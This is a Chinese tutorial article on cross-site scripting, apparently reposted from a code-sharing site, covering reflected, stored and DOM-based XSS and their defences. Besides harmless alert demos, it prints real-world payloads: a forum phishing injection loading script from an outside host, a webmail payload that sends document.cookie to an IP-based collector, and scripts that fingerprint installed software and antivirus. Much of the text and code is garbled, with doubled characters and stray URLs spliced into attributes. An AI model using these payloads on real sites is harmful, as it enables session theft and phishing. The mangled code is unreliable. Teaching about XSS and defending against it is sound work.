首页 > 代码库 > XSS脚本攻击漫谈

XSS脚本攻击漫谈

XSS跨站脚本攻击一直都被认为是客户端  Web安全中最主流的攻击方式。因为  Web环
境的复杂性以及 XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS
跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了有针对性
的具体实例分析。
跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输
入可以显示在页面上对其他用户造成影响的 HTML代码,从而盗取用户资料、利用用户身
份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading
Style Sheets)的缩写 CSS区分开,跨站脚本攻击通常简写为  XSS。
下面这个页面的主要作用是获取用户输入的参数作为用户名,并在页面中显示“欢迎您,
XXX”的形式,具体代码如下:
<?php
$username = $_GET["name"];
echo "<p>欢迎您, ".$username."!</p>";
?>
正常情况下,用户会在 URL中提交参数  name的值为自己的姓名,然后该数据内容会
通过以上代码在页面中展示,如用户提交姓名为“张三”,完整的 URL地址如下:
http://localhost/test.php?name=张三
在浏览器中访问时,会显示如下图 1所示内容:


图1

此时,因为用户输入的数据信息为正常数据信息,经过脚本处理以后页页面反馈的源码内
容为<p>欢迎您, 张三!</p>。但是如果用户提交的数据中包含有可能被浏览览器执行的代码的
话,会是一种什么情况呢?我们继续提交 name的值为<script>alert(/我的名字是张三
/)</script>,即完整的 URL地址为
http://localhost/test.php?name=<script>alert(/我的名字是张三/)</script>
在浏览器中访问时,我们发现会有弹窗提示,如下图 2所示:

图2

那么此时页面的源码又是什么情况呢?
源码变成了“<p>欢迎您, <script>alert(/我的名字是张三/)</script>!</p>”,,从源代码中我
们发现,用户输入的数据中,<script>与</script>标签中的代码被浏览器执行行了,而这并不是

网页脚本程序想要的结果。这个例子正是最简单的一种 XSS跨站脚本攻击的形式,称之为
反射型 XSS。
XSS跨站脚本攻击的分类
根据 XSS跨站脚本攻击存在的形式及产生的效果,可以将其分为以下三类。


一、反射型  XSS跨站脚本攻击
反射型 XSS脚本攻击即如我们上面所提到的  XSS跨站脚本攻击方式,该类型只是简单
地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据
中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于 URL中,所以黑客通
常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才
能使得攻击成功实施。


二、存储型  XSS跨站脚本攻击
存储型 XSS脚本攻击是指 Web应用程序会将用户输入的数据信息保存在服务端的数据
库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内
容在网页中进行输出展示,因此存储型 XSS具有较强的稳定性。
存储型 XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶
意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户,都会在他们客
户端浏览器环境中执行插入的恶意代码。如流行的 Bo-Blog程序的早期版本中存在对用户提
交评论数据过滤不严导致的 XSS跨站脚本攻击漏洞,黑客可以在文章评论中提交插入恶意
数据的 UBB代码,提交后,Bo-Blog程序会将数据保存至数据库中,当用户浏览该日志时,
就会执行插入的恶意代码,如图 3所示。

图3

 

三、基于  DOM的  XSS跨站脚本攻击
基于 DOM的  XSS跨站脚本攻击是通过修改页面  DOM节点数据信息而而形成的  XSS跨
站脚本攻击。不同于反射型 XSS和存储型  XSS,基于 DOM的  XSS跨站脚脚本攻击往往需要
针对具体的 javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚脚本攻击的利用。
让我们来针对如下代码进行详细分析:
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
 var str = document.getElementById("input").value;
 document.getElementById("output").innerHTML = "<img src=http://www.mamicode.com/‘"+str+"‘><//img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="http://www.mamicode.com/提交" onclick="xsstest()" />
</body>
</html>
以上代码的作用是提交一个图片的 URL地址以后,程序会将图片在页页面中进行展示,
如我们提交百度 LOGO图片的地址  http://www.baidu.com/img/baidu_sylogo11.gif,那么在页面
中展示结果如下图 4所示。

图4

当用户输入完百度 LOGO的地址,点击“提交”按钮后,“提交”按钮的  oonclick事件会调
用 xsstest()函数。而 xsstest()函数会获取用户提交的地址,通过 innerHTML将页面的   DOM
节点进行修改,把用户提交的数据以 HTML代码的形式写入页面中并进行展展示。以上例子
中输出的 HTML代码为“<img src=http://www.mamicode.com/” > 
以上情况为正常的用户输入情况,那黑客又是怎么利用该种类型代码实实现 XSS跨站脚
本攻击的呢?黑客可以通过构造如下数据,输入“#’ one rror=’javascript:alert(//DOM Based XSS
Test/)”,在浏览器中提交后,发现代码果然被执行,出现了弹窗提示,如下下图 5所示

图5

 

XSS跨站脚本攻击实例


以上是针对 XSS跨站脚本攻击三种类型的简单介绍。看了上面的描述朋朋友们或许会想,
难道仅仅弹出一个提示框就是 XSS跨站脚本攻击了吗?答案当然是否定的,XSS跨站脚本
攻击的利用可以实现多种效果,甚至可以说 XSS跨站脚本攻击漏洞的利用是是一种黑客攻击
的艺术,下面我们结合具体实例进行详细的分析和描述,了解一下 XSS跨站站脚本攻击都能
做些什么事情。


 XSS跨站脚本攻击利用钓鱼
目前,网络钓鱼攻击的方式比较多,包括申请注册相似域名,构建相似似度高的网站环境
和发布虚假中奖信息等,但是以上钓鱼攻击方式针对有一定安全意识的网民民来说,很难实现
成功的钓鱼攻击。然而通过 XSS跨站脚本攻击漏洞进行的钓鱼攻击,即使有有一定安全意识
的网民,也无法抵御。这里我们以盛大游戏论坛的 XSS跨站脚本攻击漏洞利利用的钓鱼攻击
演示(目前,该漏洞已经修复)。首先,我们需要了解的是,盛大的游戏登登录都是使用盛大
通行证进行登录的,而盛大的游戏论坛也是使用盛大通行证进行登录,所以以,如果黑客通过
盗取游戏玩家登录论坛时的信息,就相当于盗取了玩家游戏账号和密码。盛盛大的游戏论坛就
存在 XSS跨站脚本攻击漏洞,使得黑客可以通过该漏洞获取用户的账号和密密码。存在过滤
不严的位置为用户资料中的个人主页部分,通过在个人主页栏中输入如下代代码:
[url]http://‘‘ STYLE=‘a:expression(document.write("<s\143ript language=javvas\143ript
src=http://www.123.com/1.jpg Charset=GB23></s\143ript>"))‘ target=_blank[/urrl]
然后利用该账号在论坛中发帖子或回复,这样当其他玩家访问我们发布布或回复的帖子时,
就会执行我们插入的恶意代码。http://www.123.com/1.jpg就是我们构造的恶恶意代码,这个代
码是我们用来钓鱼的页面,如下图 6所示:

图6

显示的内容和盛大官方游戏论坛登录的页面一样,如果不通过查看网页页源代码的方式是
无法从页面显示中看出任何问题的,当玩家输入通行证账号和密码信息并点点击登录时,账号
提交的地址不是盛大的服务器,而是黑客的服务器。从源码中,可以看到账账号和密码发送到
的黑客服务器账号接收程序的地址,如下图 7所示: 

图7

 

XSS跨站脚本攻击盗取用户  Cookie信息
通过 XSS跨站脚本攻击盗取用户  Cookie信息一直是  XSS跨站脚本攻击击漏洞利用的最
主流方式之一。当用户正常登录 Web应用程序时,用户会从服务端得到一个包含有会话令
牌的 cookie:
Set-Cookie:  SessionID=6010D6F2F7B24A182EC3DF53E65C88FCA17B0A996FAE129C3
黑客则可以通过 XSS跨站脚本攻击的方式将嵌入恶意代码的页面发送给用户户,当用户点击
浏览时,黑客即可获取用户的 Cookie信息并用该信息欺骗服务器端,无需账号密码即可直
接成功登录。这里我们以网易邮箱的 XSS跨站脚本攻击漏洞为例进行分析和和描述。网易邮
箱老版本中,曾经存在一个 XSS跨站脚本攻击漏洞,黑客可以构造如下代码码:
<XML ID=I><X><C><![CDATA[<IMG SRC="http://www.mamicode.com/javas]]>Image();xx.src=http://www.mamicode.com/‘http://61.130.75.239/pic/163.asp?url=‘+escape(document.URL)++‘&cookie=‘+esca
pe(document.cookie);" width=0 height=0>]]>
 </C></X></xml><SPAN DATASRC=http://www.mamicode.com/#I >DATAFORMATAS=HTML></SPAN>


图8

并将包含有如图 8所示恶意代码的邮件发送至网易邮箱用户时,用户打打开了含有恶意代
码的邮件后,代码就会自动将用户的 cookie信息发送到  61.130.75.239上的  163.asp文件,其
中 163.asp的作用是记录发送过来的  Cookie,记录的 Cookie内容如下图  9所所示: 

图9

在接收到 Cookie以后,就可以通过  Cookie欺骗的方式实现登录目标邮邮箱了,如图   10
所示:

图10

 

XSS跨站脚本攻击搜集客户端环境信息

搜集客户端环境信息在更多的时候主要应用于指定目标的渗透攻击或网网络挂马攻击,如
了解客户端环境所使用的浏览器信息、操作系统信息、组件是否安装以及安安全防护软件安装
情况等。通过 XSS跨站脚本攻击可以更加方便、快速地实现客户端环境信息息的收集。
那么如何通过 javascript收集以上信息呢?我们构造如下脚本代码,并在浏览器中执行
这段代码。
<script>
alert(navigator.userAgent);
</script>
得到的结果如下图 11所示。  

图11

这个信息中告诉了我们以上关心的两个信息,一个是浏览器的类型和版版本,另外一个是
客户端环境操作系统的版本。
浏览器:MSIE 8.0(微软 IE浏览器,浏览器版本是  8.0)
操作系统:Windows NT 6.1(操作系统类型是 windows 7)
通过以上方式可以获取客户端的浏览器和操作系统信息,接下来我们在在继续判断客户端
环境组件安装情况。构造代码如下:
<script>
try

{
 var object = new ActiveXObject("XunLeiBHO.ThunderIEHelper");
}

catch(e)

{

alert("迅雷软件未安装");
}
</script>
客户端环境中如果安装迅雷下载软件的话,那么就会安装相应的 ActiveX控件
XunLeiBHO.ThunderIEHelper,以上脚本的作用即是通过网页脚本去加载迅雷的 ActiveX控
件,如果控件存在则不会抛出异常,否则就会抛出异常并被脚本捕获,运行上面的脚本代码
时,安装有迅雷的环境不会有任何提示,未安装迅雷的环境就会弹窗提示“迅雷软件未安装”。
控件判断可以通过网页加载 ActiveX控件的方式实现,那么怎么通过脚本判断客户端环
境中是否安装了安全软件呢?这里我们以瑞星安全软件为例,分析描述如何通过 XSS跨站
脚本攻击漏洞的利用检测客户端环境是否存在瑞星安全软件。我们构造代码如下:
<script>
var havesoft=false;
var disk=[‘c‘,‘d‘];
var soft=[‘:\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994‘];
for(i=0;i<soft.length;i++)
{
for(j=0;j<disk.length;j++)
var img=new Image();
{
res=‘res://‘+disk[j]+soft[i];
img.src=http://www.mamicode.com/res;
if(img.height!=30)
{
havesoft=true;
}
}
}
</script>


以上代码的作用是通过 javascript结合  res协议对客户端环境中的资源文件进行加载,
javascript脚本运行后,会对客户端环境的  C、D盘进行访问,访问是否存在瑞星默认安装路
径的资源文件,并尝试对资源文件进行加载,如果加载成功,则说明资源文件存在,也说明
瑞星安全软件的存在,并将变量 havesoft置为真,脚本检测结束后,只需要检测该变量是否
为真即可。


XSS Worm
相对于以上三种情况,可以说是 XSS蠕虫(XSS  Worm)的破坏力和影响力都是巨大的。
XSS蠕虫主要发生在用户之间存在交互行为的页面中,当  Web应用程序对用户输入的数据
信息没有做严格的过滤时,通过结合 Ajax的异步提交,就可以实现在植入恶意代码的同时,
将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了 XSS蠕虫。
谈到 XSS蠕虫就很有必要介绍一下新浪微博遭受  XSS蠕虫攻击事件,同时我们也以此
次攻击事件作为例子,对黑客恶意利用漏洞至 XSS蠕虫大范围扩散的过程进行详细分析和
描述,并对该 XSS蠕虫的恶意脚本文件进行一下简要的分析。
此处请参见拙作《从新浪微博被攻击事件看 SNS网站的安全问题(下)》,不再赘述。
XSS跨站脚本攻击的防范
通过以上针对不同种情况的 XSS跨站脚本攻击的描述,我们了解到了在复杂的  Web环
境中,XSS的利用是千变万化的,如何能够有效地防范  XSS跨站脚本攻击问题一直都是浏
览器厂商和网站安全技术人员关注的热门话题。现在很多浏览器厂商都在自己的程序中增加
了防范 XSS跨站脚本攻击的措施,如  IE浏览器从  IE8开始内置了  XSS筛选器,Firefox也
有相应的 CSP、Noscript扩展等。而对于网站的安全技术人员来说,提出高效的技术解决方
案,保护用户免受 XSS跨站脚本攻击才是关键。下面我们结合网站安全设计,描述一下如
何通过技术手段实现 XSS跨站脚本攻击的防范。
利用  HttpOnly
HttpOnly最初是由微软提出的,目前已经被多款流行浏览器厂商所采用。HttpOnly的
作用不是过滤 XSS跨站脚本攻击,而是浏览器将禁止页面的  Javascript访问带有   HttpOnly
属性的 Cookie,解决 XSS跨站脚本攻击后的  Cookie会话劫持行为。
httpOnly是在  Set-Cookie时进行标记的,设置的  Cookie头格式如下:

Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
以 php为例,在  php 5.2版本时就已经在  Setcookie函数加入了对  HttpOnly的支持,如
<?php
setcookie("user", "admin", NULL, NULL, NULL, NULL, TRUE);
?>
通过以上代码就可以设置 user这个  cookie,将其设置为 HttpOnly,setcookie函数实质
是通过向客户端发送原始的 HTTP报文头进行设置的,document将不可见这个   Cookie,所
以使用 document.cookie就取不到这个  Cookie,也就是先了对 Cookie的保护。
完善的输入和输出检查
由于三种 XSS跨站脚本攻击类型的漏洞成因可不相同,针对输入输出的检查一部分适
用于反射型 XSS与存储型  XSS,而另外一些检查适用于基于 DOM的  XSS。
A.防范反射型  XSS和存储型   XSS
输入检查在大多数的时候都是对可信字符的检查或输入数据格式的检查,如用户输入的
注册账号信息中只允许包括字母、数字、下划线和汉字等,对于输入的一切非白名单内的字
符均认为是非法输入。数据格式如输入的 IP地址、电话号码、邮件地址、日期等数据都具
有一定的格式规范,只有符合数据规范的输入信息才允许通过检查。
输出检查主要是针对数据展示过程中,应该对数据信息进行 HTML编码处理,将可能
存在导致 XSS跨站脚本攻击的恶意字符进行编码,在不影响正常数据显示的前提条件下,
过滤恶意字符。常见的可能造成 XSS跨站脚本攻击的字符及其  HTML编码如下:
“ &quot;
‘ &apos;
& &amp;
< &lt;
>   &gt;
除了常用的编码外,任何字符都可以使用其 ASCII码进行  HTML编码,如
% &#37;
* &#42;
B.防范基于  DOM的   XSS
从基于 DOM的  XSS的定义及其触发方式我们发现,当基于  DOM的  XSS跨站脚本攻
击发生时,恶意数据的格式与传统的 XSS跨站脚本攻击数据格式有一定的差异,甚至可以
在不经过服务器端的处理和相应的情况下,直接对客户端实施攻击行为,因此上述我们应用
于防范反射型 XSS和存储型  XSS的方法并不适用于防范基于  DOM的   XSS跨站脚本攻击。
针对基于 DOM的  XSS防范的输入检查方法,我们发现在客户端部署相应的安全检测
代码的过滤效果要比在服务器端检测的效果更加明显。例如,我们可以通过如下客户端检测
代码来保证用户输入的数据只包含字母、数字和空格,代码如下:
<script>
var str = document.URL;
str = str.substring(str.indexOf("username=")+9, str.length);
str = unescape(str);
var regex=/^([A-Za-z0-9+\s])*$/;
if (regex.test(str))
document.write(str);
</script>
同样,我们也可以通过在服务端实现类似上述数据检查的功能,如在服务器端检测  URL
参数是否为预定的参数 username,并对 username参数的内容进行检测,确认数据内容是否为
只包含数字、字母和空格符,实现服务端的数据过滤。但是,由于客户端数据的可控性,这
种服务端检测的效果要明显弱于客户端检测。
 
 

基于 DOM的  XSS输出检查与反射型  XSS漏洞输出检查的方法相似,在将用户可控的
DOM数据内容插入到文档之前,Web应用程序应对提交的数据进行   HTML编码处理,将
用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中
进行展现,如可以通过如下函数实现在客户端 javascript中执行  HTML编码处理。
function jsEncode(str)
{
var d = document.createElement(‘div‘);
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
XSS跨站脚本攻击作为  Web应用安全领域中最大威胁之一,不仅仅危害  Web应用业务
的正常运营,对访问 Web应用业务的客户端环境和用户也带来了直接安全影响。虽然   XSS
跨站脚本攻击在复杂的 Web应用环境中利用方式千变万化,但是网络安全人员通过对   Web
应用的各种环境进行详细分析和处理,完全阻断 XSS跨站脚本攻击是可以实现的。如何有
效防范和阻止 XSS跨站脚本攻击,保障  Web应用系统的业务安全和正常运营,保护客户端
用户免受 XSS跨站脚本攻击行为的侵害,是  Web应用系统管理人员和网络安全产品开发人
员的共同职责。